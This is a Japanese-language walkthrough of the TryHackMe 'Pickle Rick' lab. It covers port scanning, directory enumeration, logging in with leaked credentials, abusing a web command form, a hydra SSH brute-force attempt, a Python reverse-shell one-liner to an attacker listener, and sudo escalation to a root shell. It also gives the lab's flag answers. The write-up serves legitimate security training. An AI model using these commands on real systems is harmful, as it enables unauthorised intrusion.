概要
TryHackMe「Pickle Rick」のWalkthroughです。
Task1
Q1.What is the first ingredient that Rick needs?
nmap
でポートスキャンを実行します。
$ nmap -sC -A -T4 -p- 10.10.103.187
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-03 13:16 EDT
Nmap scan report for 10.10.103.187
Host is up (0.27s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6b:9c:83:73:53:fe:54:a1:61:6a:a4:9a:8e:7b:c4:77 (RSA)
| 256 ae:25:a2:9a:62:b6:78:64:44:8c:ae:97:9f:63:83:95 (ECDSA)
|_ 256 f5:d5:c5:c0:57:83:37:cb:c9:d1:92:07:a6:e7:ef:ae (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Rick is sup4r cool
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1459.56 seconds
22
,80
番ポートがオープンになっていることが分かりました。
Webページにアクセスします。
HTMLを見ると、ユーザー名を確認できました。
後々使えそうな情報です。
隠しディレクトリを列挙します。
$ dirsearch -u http://10.10.103.187
assets
,login.php
.robots.txt
の3つのパスが見つかりました。
[13:45:09] 301 - 315B - /assets -> http://10.10.103.187/assets/
[13:45:09] 200 - 588B - /assets/
[13:45:47] 200 - 455B - /login.php
[13:46:11] 200 - 17B - /robots.txt
robots.txt
には謎の文字列がありました。
assets
ではディレクトリを参照することができました。
login.php
にてログインフォームを発見しました。
先ほどのHTMLで見つけたユーザー名を使用できそうです。
また、先ほどrobots.txt
で発見した文字列を試しにパスワードとして使用するとログインに成功しました。
結果、Username: R1ckRul3s
,Password: Wubbalubbadubdub
となりました。
ログイン後、コマンドを実行できそうなフォーム画面が表示されました。
予想通り、コマンドをフォームから実行することができました。
Sup3rS3cretPickl3Ingred.txt
という怪しいテキストファイルがあるのでアクセスすると答えが表示されました。
A.mr. meeseek hair
Q2.What is the second ingredient in Rick’s potion?
/home
ディレクトリを見ると、rick
というユーザーを発見しました。
/home/rick
配下に二つ目の答えがありそうです。
しかし、このフォームからだとcat
などのファイル内容を閲覧できるコマンドが実行できません。
マシンのシェルを取得する必要がありそうです。
rick
というユーザーでssh
接続できないか試してみます。
パスワード解析を試みると、パスワード認証はサポートされていないと表示されました。
$ hydra -f -l rick -P /usr/share/wordlists/rockyou.txt ssh://10.10.103.187 -t 30
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-03 14:43:08
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 30 tasks per 1 server, overall 30 tasks, 14344399 login tries (l:1/p:14344399), ~478147 tries per task
[DATA] attacking ssh://10.10.103.187:22/
[ERROR] target ssh://10.10.103.187:22/ does not support password authentication (method reply 4).
しかし、そのままSSH接続を試みると、権限エラーでログインできません。
$ ssh rick@10.10.103.187
The authenticity of host '10.10.103.187 (10.10.103.187)' can't be established.
ED25519 key fingerprint is SHA256:Om19Y1yYahFdrNDH1Fu+geKmClyrmMDh9OqskW125Mc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.103.187' (ED25519) to the list of known hosts.
rick@10.10.103.187: Permission denied (publickey).
試行錯誤していると、フォームからpython3
を実行できることを発見しました。
python3
でリバースシェルを実行します。
まず、netcat
でリッスンします。
$ nc -lvnp 1234
次に、フォームからコードを実行します。
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{IP Address}",{PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
リバースシェルコードは下記サイトを参考にしました。
IPアドレスとポートは適宜環境に合わせて編集して下さい。
Reverse Shell Cheat Sheet
シェルを取得できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.103.187] 52358
$ pwd
pwd
/var/www/html
$ whoami
whoami
www-data
目標の2つ目のテキストファイルを閲覧し、答えを取得しました。
$ cat /home/rick/'second ingredients'
cat /home/rick/'second ingredients'
1 jerry tear
A.1 jerry tear
Q3.What is the last and final ingredient?
/home
配下のファイルを探索しましたが、3つ目らしきテキストファイルは発見できなかったので最後は/root
配下にあると推測しました。
ですが、root権限に昇格する必要があります。
sudo -l
で権限昇格に使えそうなコマンドがあるか確認すると、パスワードなしで全部実行できそうです。
$ sudo -l
sudo -l
Matching Defaults entries for www-data on ip-10-10-103-187:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ip-10-10-103-187:
(ALL) NOPASSWD: ALL
sudo -l
での権限昇格について記事を投稿したので併せてご覧ください。
GTFOBins
を参考に、python3
で権限昇格を試みることにしました。
root権限を取得出来ました。
$ sudo python3 -c 'import os; os.system("/bin/sh")'
sudo python3 -c 'import os; os.system("/bin/sh")'
# whoami
whoami
root
予想通り、/root
配下に最後のテキストファイルを発見しました。
# ls -la /root
ls -la /root
total 28
drwx------ 4 root root 4096 Feb 10 2019 .
drwxr-xr-x 23 root root 4096 Jun 3 17:14 ..
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
-rw-r--r-- 1 root root 161 Jan 2 13:39 .profile
drwx------ 2 root root 4096 Feb 10 2019 .ssh
-rw-r--r-- 1 root root 29 Feb 10 2019 3rd.txt
drwxr-xr-x 4 root root 4096 Apr 12 14:05 snap
テキストファイルを閲覧し答えをゲットしました。
# cat /root/3rd.txt
cat /root/3rd.txt
3rd ingredients: fleeb juice
A.fleeb juice